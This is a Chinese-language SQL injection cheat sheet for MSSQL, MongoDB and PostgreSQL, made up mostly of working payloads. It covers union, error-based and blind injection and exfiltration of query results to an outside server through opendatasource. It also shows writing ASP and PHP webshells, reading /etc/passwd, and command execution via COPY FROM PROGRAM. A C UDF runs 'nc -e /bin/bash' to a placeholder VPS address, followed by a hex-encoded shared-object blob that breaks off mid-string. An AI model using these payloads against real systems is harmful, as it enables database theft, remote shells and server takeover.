MSSQL
基础
根据url地址的文件后缀名为aspx,初步判断为sqlserver数据库;通过and (select count(*) from sysobjects)>0
判断是否为mssql数据库,如果返回正常,则证明数据库为mssql数据库。
与MySQL相同,*MSSQL*有类似于MySQL中*information_schema*库这种默认存在可简便查询的存在
先来点函数
函数 | 释义 |
---|---|
host_name() | 返回服务器端计算机的名称 |
Current_user | 返回当前数据库的用户 |
db_name () | 返回当前数据库的名 |
CHAR() | 将ASCII 码转换为字符,如果没有输入0 ~ 255 之间的ASCII 码值,CHAR()返回 NULL |
object_id() | 返回数据库表名,通常用于16进制或SQL编码的转换 |
col_name ( table_id , column_id ) | 返回指定表中指定字段 |
substring() | 返回子字符串,例:substring(“123456” ,1,3)返回“123” |
Cast() | 将某种数据类型的表达式显式转换为另一种数据类型 |
WAITFOR DELAY '0:0:n' | '时:分:秒',WAITFOR DELAY '0:0:5'表示等待5秒后执行 |
再来点例子:
# 创建数据库
create database [dbname];
create database test;
# 删除数据库
drop database [dbname];
drop database test;
# 创建新表
create table table_name (name char(10),age tinyint,sex int);
# 创建新表前要选择数据库,默认是master库
use test;
create table admin (users char(255),passwd char(255),sex int);
# 删除新表
drop table table_name;
drop table dbo.admin;
# 向表中插入数据
insert into table_name (column1,column2) values(value1,value2);
insert into admin (users,passwd,sex) values('admin','admin',1);
# 删除内容
delete from table_name where column1=value1;
delete from admin where sex=2;
# 更新内容
update table_name set column2=”xxx” where column1=value1;
update admin set users='admintest' where sex=2;
# 查找内容
select * from table_name where column1=value1;
select passwd from admin where users='admin';
- MSSQL数据库中没有limit排序获取字段,但是可以使用top 1来显示数据中的第一条数据,
- 使用 <> 来排除已经显示的数据,获取下一条数据。
使用not in来排除已经显示的数据,获取下一条数据:
# 使用<>获取数据 id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'--+ # 使用not in获取数据 id=-2 union select top 1 1,table_name from information_schema.tables where table_name not in(select top 1 table_name from information_schema.tables)--+ id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name not in('id','username')--+
注释只有--+
和/**/
注入
MSSQL中每个数据库都存在三张默认的表sysdatabases、sysobjects、syscolumns
表 | 释义 |
---|---|
sysobjects | SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束 、默认值、日志、规则、存储过程等,每个对象在表中占一行。 |
syscolumns | 该表位于每个数据库中。 |
sysdatabases | 该表保存在master数据库中,这个表中保存的是所有的库名,以及库的ID,和一些相关信息 |
sysobjects里面啥啥都有,其中的xtype属性代表对象类型。当xtype= 'U' and status>0
代表是用户建立的表
,对象名就是表名,对象ID就是表的ID值。
select * from sysobjects where xtype = 'U'
sysobjects中的id列与syscolumns中的id列外键关联,啥意思呢?也就是说syscolumns的列中有一个id指对应着sysobjects中的id,而我们的表是从sysobjects中得来,我们可以通过对sysobjects中的id获得syscolumns的列数据,最后查字段就轻轻松松了。
select * from syscolumns where id=(select id from sysobjects where name='users')
select * from syscolumns where id=885578193
直接带id查也行
联合注入
**1.判断注入点及类型**
?id=1' and 1=1--+
?id=1' and 1=2--+
# 那么此处是字符型注入,需要单引号闭合
**2.判断字段数**
?id=1' order by 3--+
?id=1' order by 4--+
**3.联合查询判断回显点**
?id=0' union select 1,2,3--+
**4.获取当前数据库名字和版本信息**
?id=0' union select 1,db_name(),@@version--+
**5.获取所有的数据库名**
?id=0' union select 1,db_name(),name from master.sys.databases where name not in(select top 1 name
from master.sys.databases)--+
**6.获取所有的表名**
?id=0' union select top 1 1,2,table_name from information_schema.tables where table_name not in
(select top 1 table_name from information_schema.tables)--+
**7.获取所有的字段名**
?id=0' union select top 1 1,2,column_name from information_schema.columns where column_name not in
(select top 1 column_name from information_schema.columns)--+
?id=0' union select top 1 1,2,column_name from information_schema.columns where table_name='users' and
column_name not in(select top 2 column_name from information_schema.columns where table_name='users')--
**8.获取users表账号密码信息**
?id=0' union select top 1 1,username,password from users--+
报错注入
MSSQL数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入。
**1.判断注入点**
id=1
**2.判断是否为MSSQL数据库**
# 返回正常为MSSQL
id=1 and exists(select * from sysobjects)
id=1 and exists(select count(*) from sysobjects)
**3.判断数据库版本号**
id=1 and @@version>0--+
# @@version是mssql的全局变量,@@version>0执行时转换成数字会报错,也就将数据库信息暴露出来了
# 版本号:nt5.2:2003 nt6.0:2008
**4.获取当前数据库名**
and db_name()>0--+
and 1=db_name()--+
# 报错注入的原理就是将其他类型的值转换层int型失败后就会爆出原来语句执行的结果
**5.判断当前服务器拥有的权限**
and 1=(select IS_SRVROLEMEMBER('sysadmin'))--+
and 1=(select IS_SRVROLEMEMBER('serveradmin'))--+
and 1=(select IS_SRVROLEMEMBER('setupadmin'))--+
and 1=(select IS_SRVROLEMEMBER('securityadmin'))--+
and 1=(select IS_SRVROLEMEMBER('diskadmin'))--+
and 1=(select IS_SRVROLEMEMBER('bulkadmin'))--+
**6.判断当前角色是否为DB_OWNER**
and 1=(select is_member('db_owner'))--+
# db_owner权限可以通过备份方式向目标网站写文件
**7.获取当前用户名**
and user_name()>0--+
8,获取所有数据库名
and (select name from master.sys.databases where database_id=1)>0--+
# 更改database_id的值来获取所有的数据库
**9.获取数据库的个数**
and 1=(select quotename(count(name)) from master.sys.databases)--+
**
10.一次性获取所有数据库库**
and 1=(select quotename(name) from master.sys.databases for xml path(''))--+
**11.获取所有的表名**
# 获取当前库第一个表
and 1=(select top 1 table_name from information_schema.tables)--+
# 获取当前库第二个表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails'))--+
# 获取当前库第三个表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails','uagents'))--+
# 也可通过更改top 参数获取表
and 1=(select top 1 table_name from information_schema.tables where table_name not in
(select top 5 table_name from information_schema.tables))--+
# quotename和for xml path('')一次性获取全部表
and 1=(select quotename(table_name) from information_schema.tables for xml path(''))--+
# quotename()的主要作用就是在存储过程中,给列名、表名等加个[]、’’等以保证sql语句能正常执行。
**12.获取字段名**
# 通过top 和 not in 获取字段
and 1=(select top 1 column_name from information_schema.columns where table_name='users')--+
and 1=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id','username'))--+
# 通过quotename 和 for xml path('') 获取字段
and 1=(select quotename(column_name) from information_schema.columns where table_name='emails' for xml path(''))--+
**13.获取表中数据**
and 1=(select quotename(username) from users for xml path(''))--+
and 1=(select quotename(password) from users for xml path(''))--+
布尔盲注
**1.** **判断注入点 **
and 1=1 and 1=2 and '1'='1' and '1456'='1456'--+
**2.猜解数据库个数**
id=1 and (select count(*) from sys.databases)=7--+ # 存在7个数据库
**3.猜解数据库名长度**
id=1 and len((select top 1 name from sys.databases))=6--+ # 第一个库名长度为6
id=1 and len(db_name())=4--+ # 当前数据库名长度为4
**4.猜解数据库名**
id=1 and ascii(substring(db_name(),1,1))=115--+ # 截取库名第一个字符的ascii码为115——s
id=1 and ascii(substring(db_name(),2,1))=113--+ # 截取库名第二个字符的ascii码为113——q
# 截取第一个库名第一个字符的ascii码为109——m
id=1 and ascii(substring((select top 1 name from sys.databases),1,1))=109--+
# 截取第二个库名第一个字符的ascii码为105——i
id=1 and ascii(substring((select top 1 name from sys.databases where name not in ('master')),1,1))=105--+
**5.猜解表名**
# 截取当前库的第一个表的第一个字符的ascii码为101——e
id=1 and ascii(substring((select top 1 table_name from information_schema.tables),1,1))=101--+
# 截取当前库的第二个表的第一个字符的ascii码为117——u
id=1 and ascii(substring((select top 1 table_name from information_schema.tables where table_name not in ('emails')),1,1))=117--+
**6.猜解字段名 **
# 截取当前库的emails表的第一个字符的ascii码为105——i
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),1,1))=105--+
#截取当前库的emails表的第二个字符的ascii码为100——d
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),2,1))=100--+
**7.猜解表中数据**
# username字段的数据第一个字符为D
id=1 and ascii(substring((select top 1 username from users),1,1))=68--+
时间盲注
**1.判断是否存在注入**
id=1 WAITFOR DELAY '0:0:5'--+
**2.判断权限**
# 如果是sysadmin权限,则延时5秒
id=1 if(select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--+
**3.查询当前数据库的长度和名字**
# 二分法查询长度
id=1 if(len(db_name()))>40 WAITFOR DELAY '0:0:5'--+
# 查询数据库名字
# substring截取字符串的位置,用ascii转为数字进行二分法查询
id=1 if(ascii(substring(db_name(),1,1)))>50 WAITFOR DELAY '0:0:5'--+
**4.查询数据库的版本**
id=1 if(ascii(substring((select @@version),1,1))=77 WAITFOR DELAY '0:0:5'--+ # ascii 77 = M
**5.查询表个数**
id=1 if((select count(*) from SysObjects where xtype='u')>5) WAITFOR DELAY '0:0:5'--+
# 当前数据库表的个数为6
**6.查询第一个表的长度**
# 查询第一个表
id=1 and select top 1 name from SysObjects where xtype='u'
# 查询结果为1
(select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u')
# 利用and,进行判断,9为表长度的猜测
and len(name)=9
# 第一个表名长度为6
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=6)=1) WAITFOR DELAY '0:0:10'--+
**7.查询第一个表的表名**
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))>90)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))=101)=1) WAITFOR DELAY '0:0:5'--+
**8.查询第二个表的长度**
# 查询第一个表名,去除emails, emails为第一个表名
select top 1 name from SysObjects where xtype='u' and name not in ('emails')
# 同理,第三个表则 and name not in ('emails','uagents')
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emials')) and len(name)=6)<>0) WAITFOR DELAY '0:0:5'--+
**9.查询第二个表的名字**
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=0) WAITFOR DELAY '0:0:5'--+
**10.查询第一个表中的字段**
# and name not in ('')查询第二个字段的时候可以直接在其中,排除第一个字段名
id=1 if((select count(*) from syscolumns where name in (select top 1 name from syscolumns where id = object_id('emails') and name not in ('')) and ascii(substring(name,1,1))=1)!=0) WAITFOR DELAY '0:0:1'--+
**11.查询字段类型**
id=1 if((select count(*) from information_schema.columns where data_type in(select top 1 data_type from information_schema.columns where table_name ='emails') and ascii(substring(data_type,1,1))=116)!=0) WAITFOR DELAY '0:0:5'--+
**12.查询数据**
# 查询所有数据库
SELECT Name FROM Master..SysDatabases ORDER BY Name
# 查询存在password字段的表名
SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password'
id=1 if((select count(*) from sysobjects where name in ((select name from sysobjects where name in (SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password') and ascii(substring(sysobjects.name,1,1))>1)))>0) waitfor delay '0:0:1'--
# 查询包含pass的字段名
SELECT top 1 name FROM SysColumns where name like '%pass%'
id=1 if((select count(*) from SysColumns where name in (SELECT top 1 name FROM SysColumns where name like '%pass%' and ascii(substring(name,1,1))>1))>0) waitfor delay '0:0:1'--
反弹注入
就像在Mysql中可以通过dnslog外带,Oracle可以通过python搭建一个http服务器接收外带的数据一样,在MSSQL数据库中,我们同样有方法进行数据外带,那就是通过反弹注入外带数据。
反弹注入条件相对苛刻一些,一是需要一台搭建了mssql数据库的vps服务器,二是需要开启堆叠注入。
反弹注入需要使用opendatasource函数:
OPENDATASOURCE(provider_name,init_string)
使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。
先连接vps的mssql数据库,新建表test,字段数与类型要与要查询的数据相同。这里因为我想查询的是数据库库名,所以新建一个表里面只有一个字段,类型为varchar。
CREATE TABLE test(name VARCHAR(255))
获取数据库所有表
,使用反弹注入将数据注入到表中,注意这里填写的是数据库对应的参数,最后通过空格隔开要查询的数据。
# 查询sysobjects表
?id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select namefrom dbo.sysobjects where xtype='U' --+
# 查询information_schema数据库
?id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test selecttable_name from information_schema.tables--+
获取数据
,首先新建一个表,里面放三个字段,分别是id,username和passwd。
CREATE TABLE data(id INT,username VARCHAR(255),passwd VARCHAR(255))
获取admin表中的数据
id=1;insert intoopendatasource('sqloledb','[server=SQL5095.site4now.net](http://server=SQL5095.site4now.net),1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.data selectid,username,passwd from admin--+
xp_cmdshell外带
差异备份getshell
差异备份数据库得到webshell。在sqlserver里dbo和sa权限都有备份数据库权限,我们可以把数据库备份称asp文件,这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马。
**1.完整备份一次(保存位置当然可以改)**
backup database 库名 to disk = 'c:\ddd.bak';--+
**2.创建表并插入数据**
create table [dbo].[dtest] ([cmd] [image]);--+
insert into dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--+
**3.进行差异备份**
backup database 库名 to disk='c:\interub\wwwroot\shell.asp' WITH DIFFERENTIAL,FORMAT;--+
# 上面0x3C25657865637574652872657175657374282261222929253E即一句话木马的内容:<%execute(request("a"))%>
NOSQL
Not Only SQL,泛指非关系型的数据库 ,其产生就是为了解决大规模数据集合多重数据种类 带来的挑战,尤其是大数据应用难题,包括超大规模数据的存储。
SQL 数据库 | NOSQL 数据 | |
---|---|---|
存储方式 | SQL 数据存在特定结构的 表 中 | 可以是 JSON 文档、哈希表或者其他方式,比较 灵活可拓展 |
表数据集合的数据的关系 | 定义好表和字段结构后才能添加数据 ,表结构可以在被定义之后更新,但是如果有比较大的结构变更的话就会变得比较复杂 | 数据可以 在任何时候任何地方添加 ,不需要先定义表 |
JOIN 查询 | 支持 JOIN 多表查询 | 暂未提供 类似 JOIN 的查询方式。大部 NOSQL 使用 非规范化的数据存储方式 存储数据 |
数据耦合性 | SQL 中不允许删除已经被使用的外部数据 | 可以随时删除任何数据 |
事务 | 提供事务 | 没有事务这个概念,每个数据集的操作都是原子级的 |
nosql代表:MongDB、Redis、Memcache
基础
以MongoDB 为例:(默认端口号为 27017)
- MongoDB 和其他的数据库一样,都支持常见存储操作,但是它可以存储任何的数据,包括文件。
- MongoDB 允许在服务端执行脚本,
可以用 javascript 编写某个函数,直接在服务端执行
,也可以把函数的定义存储在服务端,下次直接调用即可。 - MongoDB 数据操作使用 JSON 形式的标记。
- MongoDB 支持各种编程语言:RUBY,PYTHON,JAVA,C++,PHP,C#等多种语言。
- MongoDB 使用 db 关键字代表当前数据库。
数据类型也有点不太一样
MongoDB 基础操作
- MongDB的启动
- 开启服务: sudo mongodb
- 登陆 mongodb数据库:mongodb --host 127.0.0.1
数据库的操作
- 查看所有的数据库:show dbs
- 切换数据库:use数据库名
- 查看集合: show collections
- 数据库的创建:use 数据库名。有值自动创建 。当use的时候,系统就会自动创建—个数据库。
- 删除数据库:进入数据库后db.dropDatabase();
- 注意:如果没有选择任何数据库,会删除默认的test数据库
集合的操作
- 查看集合:show collections
- 创建集合:db.createCollection("xxx")
- 删除集合:db.xxx.drop()
文档(行)的增删改
- 增加数据:db.xx.insert({key:value})
- 举例:db.chunqiu.insert({id:1,name:"web",age:10})
- 删除数据: db.xx.remove(删除的条件)
- 全部删除:db.xx.remove({})
- 根据条件删除,默认是删除所有符合条件的数据: db.xx.remove({age:10})
- 只删除符合条件的第一个: db.xx.remove({gender:true},{justOne:true})
- 更改操作:db.update({查找的条件},{修改的内容})
- 修改内容:默认其他原有字段删除了,替换掉原有数据:db.xx.update({age:10},{name:"NoSQL"})
- 保持原有的字段,加一个修饰$set:默认只修改第一个且对已存在的原有属性是替换,不存在的属性是添加
db.stu.update({age:10}, {$set:{like:"study"}})
说明:把like:"study"添加到数据里面,并不是换
文档查询简单语句:
- 基本查询:db.xx.find({查询条件})
- 查询所有的数据: db.xx.find() 或db.xx.find()
- 默认查出所有符合条件的数据:db.xx.find({age:10})
- 查找符合条件的第一个:db.xx.findOne({age:10})
- 格式化输出— pretty()函数:db.xx.find({age:10}).pretty()
- 常用条件
$lt | < |
---|---|
$lte | ≤ |
$gt | > |
$gte | ≥ |
$ne | ≠ |
$in | in |
$nin | not in |
$all | all |
$or | or |
$not | 反匹配(1.3.3及以上版本) |
$regex | 正则 |
db.xx.find({age:{$lt:20}}) 查询年龄小于20岁的
db.xx.find({age:{$ne:18}}) 查询年龄不等于18岁的
//and
db.xx.find({age:28,gender:true})
db.xx.find({$and :[age:28},{gender:true}]}) 查询年龄是28岁且性别为女
//or
db.xx.find({$or :[age:{$lt:30},{gender:false}]}) 查询年龄小于30岁, 或者性别为男
注入
JavaScript注入
- MongoDB中$where操作符是可以执行
JavaScript
语句的。 - 在PHP语言中是不能直接写入 JavaScript语句的,需要写在字符串中。使用字符串就会引用到单引号和双引号,因此容易出现闭合的问题
- 在 MongoDB2.4之前,通过$ where操作符使用
map-reduce
、group
命令可以访问到 mongo shell中的全局函数
和属性也就是说可以操作数据库中的数据
。
控制 admin和 password对语句进行闭合,构造出 payload:闭合单引号,插入代码:n';return true;var a='
mongo shell拼接注入
MongoShell是一个互动的 JavaScript接口的 Mongo DB,可以使用M。 ngo Shell来查询和更新数据以及执行管理操作。可以连接到在运行的 MongoDB实例
闭合语句直接执行。
PostgreSql
是一种特性非常齐全的自由软件的对象-关系型数据库管理系统。
默认的端口是:5432,默认的用户名是: postgres ,默认的数据库也是:postgres
判断是否postgresql
+and+1::int=1--
#连接数据库
psql -U 用户名 -h 主机号 [-d 数据库名,-p 端口号]
查库:\l
选库:\c 库名
查表:\d
查列:\d 表名
\x:查询结果以行或列显示切换
pg也有information_schema,并且跟mysql使用大致相同
- 特有用法:
select extract(dow from now())
- MySQL中的
limit 0,1
在postgresql中是limit 1 offset 0
?id=1 and (select count(*) from Pg_database)>0 and 1=1
?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
(继承自Mysql)- 获取所有数据库:
select datname from pg_database
- 注释符--+ 多行注释/**/
::text
转换为text 还有::int之类的
current_catalog / current_database() 查询数据库
current_schema[()] 表示当前模式名
version();user;
pg_sleep(1) 睡觉
pg_sleep_for('5 sec') 睡觉(9.4及之后版本新增)
pg_sleep_until('2022-01-19 10:25:20'); 睡觉 (9.4及之后版本新增)
基础
字符串函数
函数 | 描述 |
---|---|
string 丨丨 string | 字串连接'Post' 丨丨 'greSQL' => PostgreSQL |
bit_length(string) | 字串里二进制位的个数bit_length('jose') => 32 |
char_length(string) | 字串中的字符个数char_length('jose') => 4 |
convert(string using conversion_name) | 使用指定的转换名字改变编码。convert('PostgreSQL' using iso_8859_1_to_utf8) =>'PostgreSQL' |
lower(string) | 把字串转化为小写 |
octet_length(string) | 字串中的字节数octet_length('jose') => 4 |
overlay(string placing string from int [for int]) | 替换子字串overlay('Txxxxas' placing 'hom' from 2 for 4) => Thomas |
position(substring in string) | 返回指定的子字串的位置position('om' in 'Thomas') =>3 |
substring(string [from int] [for int]) | 抽取子字串 |
substring(string from pattern) | 抽取匹配 POSIX 正则表达式的子字串 |
substring(string from pattern for escape) | 抽取匹配SQL正则表达式的子字串 |
trim([leading丨trailing 丨 both] [characters] from string) | 从字串string的开头/结尾/两边/ 删除只包含characters(默认是一个空白)的最长的字串 |
upper(string) | 把字串转化为大写。 |
ascii(text) | 参数第一个字符的ASCII码 |
btrim(string text [, characters text]) | 从string开头和结尾删除只包含在characters里(默认是空白)的字符的最长字串 |
chr(int) | 给出ASCII码的字符 |
convert(string text, [src_encoding name,] dest_encoding name) | 把字串转换为dest_encoding |
initcap(text) | 把每个单词的第一个字母转为大写,其它的保留小写。单词是一系列字母数字组成的字符,用非字母数字分隔。 |
length(string text) | string中字符的数目 |
lpad(string text, length int [, fill text]) | 通过填充字符fill(默认为空白),把string填充为长度length。 如果string已经比length长则将其截断(在右边)。 |
ltrim(string text [, characters text]) | 从字串string的开头删除只包含characters(默认是一个空白)的最长的字串。 |
md5(string text) | 计算给出string的MD5散列,以十六进制返回结果。 |
repeat(string text, number int) | 重复string number次。repeat('Pg', 4) => PgPgPgPg |
replace(string text, from text, to text) | 把字串string里出现地所有子字串from替换成子字串to。 |
rpad(string text, length int [, fill text]) | 通过填充字符fill(默认为空白),把string填充为长度length。如果string已经比length长则将其截断。 |
rtrim(string text [, character text]) | 从字串string的结尾删除只包含character(默认是个空白)的最长的字 |
split_part(string text, delimiter text, field int) | 根据delimiter分隔string返回生成的第field个子字串(1 Base)。split_part('abc~@~def~@~ghi', '~@~', 2) => def |
strpos(string, substring) | 声明的子字串的位置。strpos('high','ig') => 2 |
substr(string, from [, count]) | 抽取子字串。 |
to_hex(number int/bigint) | 把number转换成其对应地十六进制表现形式。 |
translate(string text, from text, to text) | 把在string中包含的任何匹配from中的字符的字符转化为对应的在to中的字符。translate('12345', '14', 'ax') => a23x5 |
判断逻辑
表达式 | 说明 |
---|---|
case...when(expr) then result1 else result2 end | 同if 表达式 |
COALESCE(value [, ...]) | COALESCE 函数返回其第一个非空参数。只有当所有参数都为 null 时才返回 Null。当检索数据以进行显示时,它通常用于将默认值替换为空值 |
NULLIF(value1, value2) | 如果 value1 等于 value2,则 NULLIF 函数返回空值;否则返回 value1 |
注入
字段数
select * from table_name from column_name = 'xxx' order by 3 -- 正常
select * from table_name from column_name = 'xxx' order by 4 -- 不正常
select datname from pg_database; 所有数据库
select current_database(); 当前数据库、
获取当前数据库所有schema
select schemaname from pg_tables;
select distinct schemaname from pg_tables;
获取当前schema的表名
select tablename from pg_tables where schemaname = 'public';
-- 或者从该库的information_schema.tables获取
select table_name from information_schema.tables where table_schema='public';
获取当前表的列名
SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='test' AND nspname='public';
select column_name from information_schema.columns where table_name = 'test';
获取当前表的值
select title from test;
string_agg(字段,分隔符) 实现 group_concat
select string_agg(datname,',') from pg_database;
array_to_string(array_agg(字段,分隔符))
select array_to_string(array_agg(datname),',') from pg_database;
堆叠注入
postgresql和mssql一样,默认支持多语句,闭合前语句,再使用;
分隔前后的语句,以达到堆叠查询的目的。
由于堆叠查询的特殊性,也可以利用postgresql的特殊休眠函数pg_sleep()
快速判断是否是postgresql
Payload:
?id=1';select pg_sleep(5) -- aaa
在判断出注入点以及是postgresql且可堆叠查询的情况下,可以使用CVE-2019-9193
,执行任意命令,反弹shell,从版本9.3开始,Postgres新增了一个COPY TO/FROM PROGRAM功能。这个功能简单来说就是允许数据库的超级用户以及pg_read_server_files
组中的任何用户执行操作系统命令
报错注入
报错注入在postgresql其实不太常见,由于postgresql默认支持堆叠查询,所以通常使用堆叠查询就直接getshell了
布尔盲注
select title from test where title='a' and 2*2 = 4; -- true
select title from test where title='a' and 2*2 = 5; -- false
select title from test where title='a' and ascii(substring((select current_database()),1,1)) > 99; -- true
select title from test where title='a' and ascii(substring((select current_database()),1,1)) > 120; -- false
select title from test where title='a' and ascii(substring((select current_database()),1,1)) = 116; -- true
时间盲注
pg_sleep()
case when(expr1) then result1 else result2 end
pg_sleep_for(interval)
# 拼接在语句中
select title from test where title='a' and (select pg_sleep_for('5 sec')) is null;
# 堆叠
select title from test where title='a';select pg_sleep_for('5 sec');
# 加入判断条件
select title from test where title='a' and (select case when((ascii(substring((select current_database()),1,1))) = 116) then pg_sleep(5) else null end) is null;
当and后面的条件不能用expr1=expr2
这种,可以和oracle一样使用is null
来判断
Order By注入
order by 注入通常出现在排序中,前端展示的表格,某一列需要进行升序或者降序排列,或者做排名比较的时候常常会用到order by
排序,order by
在select语句中,紧跟在where [where condition]
后,且order by 注入无法使用预编译来防御,由于order by 后面需要紧跟column_name
,而预编译是参数化字符串,而order by
后面紧跟字符串就会提示语法错误,通常防御order by 注入需要使用白名单的方式。
postgresql 的order by 注入,涉及条件相当复杂,由于postgresql order by 后面要紧跟true,或者false,需要使用case...when...then...else...end
表达式嵌套SELECT和CASE WHEN语句,直到可以将"布尔盲注成功利用,然后睡眠5秒"转换为"true或false"
如果开启了报错,可以直接用报错注入
select case when((select case when(select user = 'postgres') then (select true from PG_SLEEP(5)) else false end)) then true else false end;
select case when(select user = 'postgres') then (select 1 from pg_sleep(2)) else 1 end;
文件读写
文件读写在postgresql中比较方便利用,postgresql 8.1后提供了一组现成的文件操作函数(pg_logdir_ls()
、pg_ls_dir()
、pg_file_rename()
、pg_file_write()
、 pg_read_file()
、pg_length_file()
)来读取/写入,但是有限制,因为pg_xxx
这个adminpack将权限限制在了./postgresql/data
创建数据表将读到的文件copy入表
drop table if exists test;
CREATE TABLE test(t TEXT);
COPY test FROM '/etc/passwd';
SELECT * FROM test;
# 堆叠,变成一句
drop table if exists test;CREATE TABLE test(t TEXT);COPY test FROM '/etc/passwd';SELECT * FROM test;
写
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
大数据对象写入
pg_largeobject
表保存那些标记着”大对象”的数据。 一个大对象是使用其创建时分配的 OID 标识的。 每个大对象都分解成足够小的小段或者”页面”以便以行的形式存储在 pg_largeobject
里。 每页的数据定义为LOBLKSIZE(目前是BLCKSZ/4,或者通常是 2K 字节)
SELECT lo_create(9999);
delete from pg_largeobject where loid=9999;
insert into pg_largeobject (loid,pageno,data) values(9999, 0, decode('3c3f706870204073797374656d2822245f4745545b636d645d22293b3f3e', 'hex'));
-- 或 insert into pg_largeobject values(9999,0,'<?php @system("$_GET[cmd]");?>');
SELECT lo_export(9999, '/tmp/shell.php');
Select lo_unlink(9999);
命令执行
低版本
可以直接调用/lib/libc.so.6
或者是/lib64/libc.so.6
;一般8.2以下的版本可以
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT;
CREATE FUNCTION system(cstring) RcETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE C STRICT;
select system('id');
高版本
CVE-2019-9193
CVE-2019-9193
,执行任意命令,反弹shell,从版本9.3开始,Postgres新增了一个“COPY TO/FROM PROGRAM”功能。这个功能简单来说就是允许数据库的超级用户以及pg_read_server_files
组中的任何用户执行操作系统命令
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'echo dG91Y2ggL3RtcC90ZXN0Cg==|base64 -d|bash';
select * from cmd_exec; -- 查看执行的结果,如果是反弹shell等无回显的,可以忽略这一步
COPY cmd_exec FROM PROGRAM '-ls -la';
UDF提权
当postgresql版本高于8.2存在安全机制无法调用系统libc.so.6
所以需要自己利用UDF进行命令执行
第一步可以先查看postgresql支持的扩展语言:
select * from pg_language;
支持C,那么可以用C编译一个恶意的so文件,然后让psql加载达到我们的目的
#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
text *exec()
{
system("nc -e /bin/bash vpsIPaddress 2333");
}
需要存在postgres.h
头文件,所以编译的目录应为存在postgres.h
头部调用的库
find ./ -name "postgres.h"
编译
gcc hack.c -I`pg_config --includedir-server` -fPIC -shared -o udf.so
strip -sx udf.so #缩减so文件大小
将文件hex后去除\n
cat udf.so | xxd -ps | tr -d "\n" > test.txt
接下来我们需要将udf.so文件分割成每2048字节的块,最后一个块的大小不满足2048字节不需要考虑.
为什么不能小于2048?是因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节所以上传的文件才会一直创建函数失败.
用python脚本去分割udf.so文件,2个16进制数是一个字节所以按照4096个16进制数分割:
#~/usr/bin/env python 2.7
#-*- coding:utf-8 -*-
import sys
from random import randint
number = randint(1000, 9999)
if __name__ == "__main__":
if len(sys.argv) != 2:
print "Usage:python " + sys.argv[0] + "inputfile"
sys.exit()
fileobj = open(sys.argv[1],'rb')
i = 0
t = -1
s = ''
for b in fileobj.read():
i = i + 1
s += b
if i % 4096 == 0:
t = t + 1
print 'insert into pg_largeobject values ({number}, {block}, decode(\'{payload}\',\'hex\'));\n'.format(number=number, block=t, payload=s)
s = ''
fileobj.close()
这里我直接给出hex分片过sql语句直接写入即可创建成功(9.6版本测试有效,如果目标是更加新的版本需要对应安装postgresql-dev
扩展包编译代码)
SELECT lo_create(9023);
insert into pg_largeobject values (9023, 0, decode('7f454c4602010100000000000000000003003e0001000000000d0000000000004000000000000000e8210000000000000000000040003800070040001a00190001000000050000000000000000000000000000000000000000000000000000004c140000000000004c1400000000000000002000000000000100000006000000f81d000000000000f81d200000000000f81d200000000000d802000000000000e00200000000000000002000000000000200000006000000181e000000000000181e200000000000181e200000000000c001000000000000c00100000000000008000000000000000400000004000000c801000000000000c801000000000000c80100000000000024000000000000002400000000000000040000000000000050e5746404000000cc11000000000000cc11000000000000cc110000000000006c000000000000006c00000000000000040000000000000051e574640600000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000052e5746404000000f81d000000000000f81d200000000000f81d2000000000000802000000000000080200000000000001000000000000000400